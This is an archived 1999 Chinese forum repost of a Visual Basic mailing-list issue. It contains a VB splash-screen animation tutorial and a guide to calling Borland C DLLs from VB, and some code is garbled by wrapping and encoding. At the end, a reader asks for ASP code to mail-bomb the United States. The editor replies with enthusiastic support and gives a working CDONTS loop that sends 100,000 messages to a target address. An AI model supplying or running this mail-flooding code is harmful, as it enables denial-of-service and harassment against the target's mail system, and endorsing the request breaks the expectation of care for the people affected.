精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>编程开发>>● VB和Basic>>〓〓..技术文章连载..〓〓>>VB邮件>>VB邮件(5.13)

主题:VB邮件(5.13)
发信人: msnet()
整理人: cobe(1999-12-17 11:39:09), 站内信件
a VB编程的一些心得


在大学作毕业设计的课题是编制一个教学软件, 所以很自然地和
VB这种易学、易懂、界面友好漂亮的语言打上了交道。 在编写的
过程中当然遇到了许多的问题, 这里将一些简单的小程序写下来
与喜爱编程的朋友们分享。
一、封面
封面的设计是这样的,先出现一窗体,上面为你喜欢的图案。 然
后出现一艘从左向右行驶着的船。 屏幕上方从两侧分别移动出“
欢迎”两个字。
具体的制作方法是:把预先选好的背景图案装入封面窗体中, 窗
体命名为CAI。再分别在三个图像控件(image) 中装入预先制作好
的位图“欢”、“迎”和船型图案。然后把三个image放置在初始
位置(即 图案刚在窗体出现时的位置),并把它们的可视属性都设
置为“false”。程序如下:
Sub Form_load()
cai.Show  '显示封面窗体
Dim i  '定义变量
image3.visible=True '船型图像控件出现
a1: If image3.Left <6120 Then '6120为船移动到屏幕右边的坐标,此值可以随
需要选取 image3.Move image3.Left+50 '移动此图像控件如嫌移动慢,可改变移
动值 Goto a1 End If image1.visible="True" '“欢”字出现 a2: If image1.
Left < 2120 Then '2120为“欢”字移动到屏幕中间的位置 image1.Move image
1.Lefe+50 '移动此图像控件 Goto a2 End If image2.visible="True" '“迎”
字出现 a3: If image2.Left> 5420 Then 
'5420为“迎”字移动到屏幕中间的位置
image2.Move image2.Left-50 '移动此图像控件
Goto a3
End If
For i=1 To 10000  
'使窗体暂停一段时间时间长短可通过改变循环次数实现
Next i
menul.Show  '显示程序主窗体
Unload cai  '卸载封面窗体
End Sub
二、简单的“动画”
点击一3D按钮后,屏幕表现光线平行进入一玻璃管, 在管中有一
散射中心,有的光线射到此中心后反射到管的初始端。程序如下:
Sub Command3Dl_Click()
Dim i, j, k, m, n  '定义变量
For i=2080 To 5520     
'显示出三条线,直到图像中的散射中心处,颜色为黑色
Line (2080,2760)-(i,2760),RGB(0, 0, 0)
Line (2080,2860)-(i,2860),RGB(0, 0, 0)
Line (2080,2660)-(i,2660),RGB(0, 0, 0)
Next i
For j=5520 To 4800 Step-1 '反射光线第一次射到管壁上
Line (5520,2760)-(j,2760-(5520-j)*.33333333),RGB
(255, 0, 0) '反射光线,颜色为红色
Line (5520,2660)-(5520+(5520-j),2660),RGB(0, 0, 0)
Line (5520,2860)-(5520+(5520-j),2860),RGB(0, 0, 0)             
'没有遇到散射中心的两条光线,为黑色,继续前进
Next j
For k=4800 To 3360 Step-1 '反射光线第二次射到管壁上
Line (4800,2520)-(k,2520+(4800-k)*.33333333),
RGB(255, 0, 0)    '反射光线,颜色为红色
Line (6240,2660)-(6240+(4800-k),2660),RGB(0, 0, 0)
Line (6240,2860)-(6240+(4800-k),2860),RGB(0, 0, 0)
  '没有遇到散射中心的两条光线,颜色为黑色
Next k
For m=3360 To 2080 Step-1 '反射光线第三次射到管壁上
Line (3360,3000)-(m,3000-(3360-m)*.33333333),
RGB(255, 0, 0)          '反射光线,颜色为红色
Next m
End Sub
三、封底
封底的设计是:先出现全黑的屏幕, 然后从上至下逐渐拉出白底
红字的“再见”的字样。先按要求在画板中做一个BMP图,上面写
着“再见”。  然后在一名为  BYE 的窗体中加入一个全屏大的
Picturel,将BMP图装入。程序如下:
Sub Form_Load()
Dim i  '定义变量
bye.Show  '封底出现
Unload menu1  '卸载主菜单
al: If picture1.Height <7130 Then '7130为图的高度 picturel.Height="pic
ture1.Height+50" '下拉屏幕 GoTo al End If For i="1" To 20000 '使窗体暂
停一段时间 Next i End '结束所有操作 End Subぅ

b VB调用C程序的方法—动态链接库法

摘 要
文中介绍了一种实现VB调用C语言程序的方法-动态连接库法,给出了动
态链接库制
作的一般框架,通过实例描述了动态连接库的实现及其制做方法、编程步骤,这种
方法具有
普遍的意义。
关键词 VB 动态连接库DLL C程序

一、引言

Visual Basic( 以下简称VB)是一种可视化的面向对象的编程语言,以其编
程简单、快捷
等特点,深受广大WINDOWS程序员的青睐。利用VB开发界面友好、操作方便的软件
只需
很短的时间。但是VB运行速度较慢,对于庞大的科学计算问题,VB的这种慢速会
使人难
以忍受。C语言是国际上非常流行的一种中级编程语言,以其灵活、高效等优点而
获得广
泛应用,许多的应用程序都是用C语言在DOS环境下编写而成。那么如何发挥VB和
C这两
种语言的优势,用VB设计一种良好的for windows界面来调用C语言程序,即实现
VB调用C
语言程序呢?现有的文献只提到动态链接库(以下简称DLL)可以将这两种语言连
接起来,
但有讲动态链接库DLL的制做及其编程方法。本文详细介绍了Borland C环境下制
作动态链
接库以及VB调用for dos动态链接库的的方法、步骤,并通过实例描述VB调用C程
序的全过
程。

二、用Borland C编写DLL程序的方法

要想实现VB调用C程序,首先需要用Borland C编写动态连接库DLL程序(
假设DLL程序
取名为example)。动态链接库包含四个文件:C语言源程序(.C)、模块定义文件

(.DEF)、原型函数文件(.H)和工程文件(.PRJ)。下面分别详细介绍一下这
四种文件
的具体结构。
1、编写C语言源程序的框架:
C语言源程序(example.C),它包括三种函数:入口函数、输出函数和终止函数
。其具体
结构如下:
/*************************************/
/* 文件名: example.C */
/*************************************/
#include <windows.h>
/***********入口函数***********/
int FAR PASCAL LibMain ( HANDLE hInstance,
WORD wDataSeg,
WORD cbHeapSize,
LPSTR lpszCmdLine )
{
if (cbHeapSize!=0)
UnlockData(0);
return (1);
}

/***********输出函数***********/

int FAR PASCAL example(int param1,...,char param n)
{
...... /*C语言应用程序*/ 
}
/***********终止函数***********/
int FAR PASCAL WEP ( int /*SystemExit*/ )
{
return(1);
}
       以上各组成部分参数的含义:Windows.h头文件,它包含有数据类型的定
义、API入口
点定义和其它有用的参数信息。PASCAL说明符定义该程序的传递参数和净化堆栈
的协定
(注意:DLL外部传送的指针必须是远指针FAR)。LibMain带四个参数:
hInstance、 wDataSeg、cbHeapSize和lpszCmdLine。第一个参数hInstance是DL
L事例句
柄, wDataSeg参数是数据段(DS)寄存器值,cbHeapSize参数是在模块定义文件
中定义
的堆的大小,LibMain 使用该值使本地堆初始化。lpszCmdLine参数包括命令行信
息,但
很少被DLL使用。一般来说,这四个参数是制作DLL通用的参数。
如果不想让DLL数据被封住,那么必须调用unlockdata恢复正常的非锁状态,如果
DLL初始
化已经成功,DLL则返回1,若不成功则返回0值,且 DLL退出系统。
DLL的输出函数实现用户所要完成的任务,这部分是DLL的核心。它与一般C语言程
序不同
之处在于无scanf函数。所有的外部指针都是远指针FAR。画直线函数要用lineto
函数。
DLL包括一个终止函数,终止函数有时称为退出函数,它的名字必须是WEP。且它
可以被
包括在DLL模块定义文件的EXPORTS段中。 
2、模块定义文件(.DEF)的结构和各段的意义
模块定义文件的结构如下:
/*************************************/
/* 文件名: example.DEF */
/*************************************/
LIBRARY example /* DLLname */
DESCRIPTION ' example.DLL'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE SINGLE
HEAPSIZE 1024
EXPORTS
example @1
WEP @2
     关键字LIBRARY是把这个模块视为一个DLL,库的名字example跟在其后,且
必须与该库
的名字、DEF中的DLL的文件名相一致。DESCRIPTION语句采用一个字符串,其长度
可达
128 个字符,通常用它来保存模块描述的信息。EXETYPE windows语句每个windo
ws应用程
序和 DLL都需要。DATA语句定义该库数据段的内存属性,关键字MOVEABLE允许内
存管
理程序在 必要时移动内存段,关键字SINGLE是DLL必要,因为DLL总是有一个单一
数据段,
而不管访 问它的应用程序的数量。HEAPSIZE语句用来定义一个DLL局部堆的初始
规模,
执行局部内 存分配的DLL必须在库启动时使该堆初始化,堆的大小被传送给DLL的
LiEntry
的程序。然 后用该堆的大小调用Locallnit使DLL的局部堆初始化。
      EXEPORTS语句定义将被用作来自应用程序或来自其它DLL入口点的程序,w
indows利用
这个信息建立一个序数入口值,序数入口值是一个优化的值,允许动态连接机制
更快块操
作且使用较少的内存。
      一般来说,模块定义文件(.DEF)的结构除取动态库的名字不同外,其它结
构都是固定
的。
3.建立原形函数文件(.H)
原形函数的功能是进一步声明调用函数的函数名和传递的参数,其形式为:
/*************************************/
/* 文件名: example.H */
/*************************************/
extern "C" int _export FAR PASCAL example(int param1,...,char param n)
 ;
4.建立工程文件(.PRJ)
       工程文件中包含有example.C、example.DEF两个文件后,然后编译连接生
成动态链接
库即可。
       以上是制作动态连接库的框架,现在通过一个实例介绍制作动态链接库的
方法。如要
求程序完成功能为:打开一个数据文件读出前两个数据,将这两个数与所传递的
两个参数
相加,返回它们的和。设该DLL程序的名字为ADD。
第一步:在Borland C++环境下编辑.C文件、.DEF文件和.H文件,并建立.PRJ文件
。如
(1)编写C语言源程序清单:
/*************************************/
/* 文件名: ADD.C */
/*************************************/
#include <iostream.h>
#include <conio.h>
#include <io.h>
#include <alloc.h>
#include <stdlib.h>
#include <windows.h>
#include <math.h>
#include <stdio.h>
#include "c:\ADD.h"
/*入口函数*/
int FAR PASCAL LibMain (HANDLE hInstance ,
WORD wDataSeg ,
WORD cbHeapSize,
LPSTR lpszCmdLine )
{
if (cbHeapSize!=0)
UnlockData(0);
return 1;
}
/*输出函数*/
int FAR PASCAL ADD(int x,int y,char *filein)
{ int a,b;
fp=fopen(filein,"r");
if(fp==NULL) { exit(0);}
int temp1=0,temp2=0;
fscanf(fp,"%d",&a);
fscanf(fp,"%d",&b);
temp1=x+a;
temp2=y+b;
temp1=temp1+temp2;
fclose(fp);
return(temp1);
}
/*退出函数*/
int FAR PASCAL WEP ( int/*SystemExit*/ )
{
return(1);
}
2)ADD.DEF文件的程序清单:
/*************************************/
/* 文件名: ADD.H */
/*************************************/
LIBRARY ADD
DESCRIPTION 'ADD.DLL'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE SINGLE
HEAPSIZE 1024
EXPORTS
ADD @1
WEP @2
(3)ADD.H程序清单:
/*************************************/
/* 文件名: ADD.H */
/*************************************/
extern "C" int _export FAR PASCAL add(int x,int y,char *filein) ;
(4)建立工程文件:
在Borland C++环境下的project项中打开open project file项并建立ADD.prj,
在add 
item中加入ADD.C文件和ADD.DEF文件即可建立工程文件。
第二步,在Borland C的options项的Applation中选择Windows DLL,再在Compil
e中选择
Build all,这样就可生成动态链接库ADD.DLL供VB调用。

三、VB3.0调用动态链接库DLL方法

      制作好DLL之后,就可以用VB调用它,实现VB调用C程序。VB程序要使用DL
L中的函
数, 首先必须要有特殊的声明,用Declare声明语句在窗体级或模块级或全局模
块的代码
声明段进行声明,将动态链接库中的函数声明到VB中,供VB程序调用。
语句格式为:Declare Sub 过程名Lib摽鈹黚_n[ Alias " 别名]([ByVal 参数A
S类型]),
或为Declare Function函数名Lib摽鈹黚_衃 Alias " 别名]([ByVal 参数AS类型
])AS
类型在声明中首先用Declare关键字表示声明DLL中的函数。在C语言中有的函数类
型为
VOID,它表示不具有返回值,则必须用关键字Sub将其声明成过程。有的函数具有
返回
值,则必须用关键字Function将其声明成函数,并且在声明语句的最后要用AS关
键字指明
函数返回值的类型。
例如上面的ADD.DLL在VB中就可以声明为:
Declare Function ADD Lib撫c:\ADD.dll敚―ByVal X AS Integer, ByVal Y AS
 Integer ,ByVal filein as string)AS Integer
通过此声明语句将函数ADD声明到VB中,便可直接调用。

四、结束语

      以上详细介绍了Borland C环境下制作动态链接库以及VB调用for dos动态
链接库的方
法、步骤,并通过实例说明VB调用C语言程序的方法。举例程序ADD经VB3.0编译,
在486
微机上调试通过。本文介绍的方法具有广泛的意义,也完全适用于C++ 语言程序


==========================================================
读者来信1

这个邮件列表是我所见到的最好的!!!
除了VB外是否还有其他方面的。
祝越办越好!!!
        Ken

读者来信2
求做邮件炸弹的ASP源码
我有台nt server,准备用来攻击美国,
我需要一个asp
        发信人: hawktsai (望梅)

答:坚决支持!
如果是IIS4,又有SMTP,
Server.ScriptTimeOut = 100000000
For i=1 to 100000
Set cdo = Server.CreateObject("CDONTS.NewMail")
cdo.To = "[email protected]"
cdo.From = "[email protected]"
cdo.Subject = "我们要和平!"
cdo.MailFormat = 0
cdo.BodyFormat = 0
bodystr = "<h1>打倒野蛮人!</h1>"
cdo.Body = bodystr
cdo.Send
Set cdo = Nothing
Next
发信人: white2000 (white)
================================
欢迎投稿  [email protected]
主    页  goodvbhome.yeah.net
===========================================================

请订阅:
http://server.com/WebApps/mail-list-subscribe.cgi?id=16852

--
网站主页地址:http://home.hn.cninfo.net/home/msnet
网易上的主页地址:http://www4.netease.com/~aaaaaaaaa
本网站主页镜像地址:http://goodvbhome.yeah.net

※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.103.47.190]

[关闭][返回]